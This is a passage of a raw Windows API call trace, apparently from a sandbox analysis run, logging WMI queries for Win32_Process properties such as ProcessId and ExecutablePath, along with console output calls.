lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d891c8*=0, plFlavor=0x2d891cc*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d891c8*=8, plFlavor=0x2d891cc*=64) returned 0x0 [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d891f0*=0, plFlavor=0x2d891f4*=0 | out: pVal=0x5e8e504*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2d891f0*=3, plFlavor=0x2d891f4*=64) returned 0x0 [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89224*=0, plFlavor=0x2d89228*=0 | out: pVal=0x5e8e504*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b250, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2d89224*=8200, plFlavor=0x2d89228*=64) returned 0x0 [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__SERVER", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8925c*=0, plFlavor=0x2d89260*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8925c*=8, plFlavor=0x2d89260*=64) returned 0x0 [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89284*=0, plFlavor=0x2d89288*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89284*=8, plFlavor=0x2d89288*=64) returned 0x0 [0067.688] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__PATH", lFlags=0, pVal=0x5e8e504*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d892ac*=0, plFlavor=0x2d892b0*=0 | out: pVal=0x5e8e504*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d892ac*=8, plFlavor=0x2d892b0*=64) returned 0x0 [0067.689] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e584 | out: puCount=0x5e8e584*=0x2) returned 0x0 [0067.689] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e580*=0x17, pszText=0x0) returned 0x0 [0067.689] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e580*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e580*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.689] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="ProcessId", lFlags=0, pVal=0x5e8e540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89314*=0, plFlavor=0x2d89318*=0 | out: pVal=0x5e8e540*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c4, varVal2=0x0), pType=0x2d89314*=19, plFlavor=0x2d89318*=0) returned 0x0 [0067.689] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="ProcessId", lFlags=0, pVal=0x5e8e5f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89314*=19, plFlavor=0x2d89318*=0 | out: pVal=0x5e8e5f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c4, varVal2=0x0), pType=0x2d89314*=19, plFlavor=0x2d89318*=0) returned 0x0 [0067.689] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.689] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.689] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.689] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.689] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.689] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.689] IWbemClassObject:GetNames (in: This=0x60fe7d0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.689] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.689] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.689] SafeArrayGetLBound (in: psa=0x41eaa0, nDim=0x1, plLbound=0x5e8deb4 | out: plLbound=0x5e8deb4) returned 0x0 [0067.689] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89f88*=0, plFlavor=0x2d89f8c*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2d89f88*=3, plFlavor=0x2d89f8c*=64) returned 0x0 [0067.689] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d89fbc*=0, plFlavor=0x2d89fc0*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2d89fbc*=8, plFlavor=0x2d89fc0*=64) returned 0x0 [0067.690] SysStringLen (param_1="Win32_Process") returned 0xd [0067.690] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a010*=0, plFlavor=0x2d8a014*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a010*=8, plFlavor=0x2d8a014*=64) returned 0x0 [0067.690] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a038*=0, plFlavor=0x2d8a03c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a038*=8, plFlavor=0x2d8a03c*=64) returned 0x0 [0067.690] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a060*=0, plFlavor=0x2d8a064*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a060*=8, plFlavor=0x2d8a064*=64) returned 0x0 [0067.690] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a088*=0, plFlavor=0x2d8a08c*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2d8a088*=3, plFlavor=0x2d8a08c*=64) returned 0x0 [0067.690] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a0bc*=0, plFlavor=0x2d8a0c0*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eaa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b250, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2d8a0bc*=8200, plFlavor=0x2d8a0c0*=64) returned 0x0 [0067.690] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a0f4*=0, plFlavor=0x2d8a0f8*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a0f4*=8, plFlavor=0x2d8a0f8*=64) returned 0x0 [0067.690] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a11c*=0, plFlavor=0x2d8a120*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a11c*=8, plFlavor=0x2d8a120*=64) returned 0x0 [0067.690] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a144*=0, plFlavor=0x2d8a148*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a144*=8, plFlavor=0x2d8a148*=64) returned 0x0 [0067.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.690] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.690] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="ProcessId", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a1ac*=0, plFlavor=0x2d8a1b0*=0 | out: pVal=0x5e8e320*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c4, varVal2=0x0), pType=0x2d8a1ac*=19, plFlavor=0x2d8a1b0*=0) returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="ProcessId", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a1ac*=19, plFlavor=0x2d8a1b0*=0 | out: pVal=0x5e8e3d8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c4, varVal2=0x0), pType=0x2d8a1ac*=19, plFlavor=0x2d8a1b0*=0) returned 0x0 [0067.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.691] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.691] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.691] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.691] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.691] IWbemClassObject:GetNames (in: This=0x60fe7d0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a6b0*=0, plFlavor=0x2d8a6b4*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2d8a6b0*=3, plFlavor=0x2d8a6b4*=64) returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a6e4*=0, plFlavor=0x2d8a6e8*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2d8a6e4*=8, plFlavor=0x2d8a6e8*=64) returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a738*=0, plFlavor=0x2d8a73c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a738*=8, plFlavor=0x2d8a73c*=64) returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a760*=0, plFlavor=0x2d8a764*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a760*=8, plFlavor=0x2d8a764*=64) returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a788*=0, plFlavor=0x2d8a78c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a788*=8, plFlavor=0x2d8a78c*=64) returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a7b0*=0, plFlavor=0x2d8a7b4*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2d8a7b0*=3, plFlavor=0x2d8a7b4*=64) returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a7e4*=0, plFlavor=0x2d8a7e8*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b250, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2d8a7e4*=8200, plFlavor=0x2d8a7e8*=64) returned 0x0 [0067.691] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a81c*=0, plFlavor=0x2d8a820*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a81c*=8, plFlavor=0x2d8a820*=64) returned 0x0 [0067.692] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a844*=0, plFlavor=0x2d8a848*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a844*=8, plFlavor=0x2d8a848*=64) returned 0x0 [0067.692] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a86c*=0, plFlavor=0x2d8a870*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a86c*=8, plFlavor=0x2d8a870*=64) returned 0x0 [0067.692] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.692] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.692] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.692] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a8d4*=0, plFlavor=0x2d8a8d8*=0 | out: pVal=0x5e8e320*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files (x86)\\Microsoft.NET\\scholars.exe", varVal2=0x0), pType=0x2d8a8d4*=8, plFlavor=0x2d8a8d8*=0) returned 0x0 [0067.692] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8a8d4*=8, plFlavor=0x2d8a8d8*=0 | out: pVal=0x5e8e3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files (x86)\\Microsoft.NET\\scholars.exe", varVal2=0x0), pType=0x2d8a8d4*=8, plFlavor=0x2d8a8d8*=0) returned 0x0 [0067.696] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0067.714] GetLastError () returned 0x0 [0067.714] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.714] GetLastError () returned 0x0 [0067.718] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0067.718] GetLastError () returned 0x0 [0067.718] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.719] GetLastError () returned 0x0 [0067.722] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0067.723] GetLastError () returned 0x0 [0067.723] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.723] GetLastError () returned 0x0 [0067.726] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0067.745] GetLastError () returned 0x0 [0067.745] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.745] GetLastError () returned 0x0 [0067.749] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0067.749] GetLastError () returned 0x0 [0067.749] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.750] GetLastError () returned 0x0 [0067.750] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0067.750] GetLastError () returned 0x0 [0067.754] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0067.754] GetLastError () returned 0x0 [0067.754] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.754] GetLastError () returned 0x0 [0067.754] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0067.755] GetLastError () returned 0x0 [0067.758] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0067.759] GetLastError () returned 0x0 [0067.759] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.759] GetLastError () returned 0x0 [0067.759] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0067.759] GetLastError () returned 0x0 [0067.763] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0067.763] GetLastError () returned 0x0 [0067.763] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.763] GetLastError () returned 0x0 [0067.763] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0067.764] GetLastError () returned 0x0 [0067.764] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.764] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.764] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.764] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.764] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.764] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.764] IWbemClassObject:GetNames (in: This=0x60fe7d0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e438*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e404 | out: pNames=0x5e8e404*="\x01ƀ\x04") returned 0x0 [0067.765] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__GENUS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d8e69c*=0, plFlavor=0x2d8e6a0*=0 | out: pVal=0x5e8e430*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2d8e69c*=3, plFlavor=0x2d8e6a0*=64) returned 0x0 [0067.765] IWbemClassObject:Get (in: This=0x60fe7d0, wszName="__CLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, 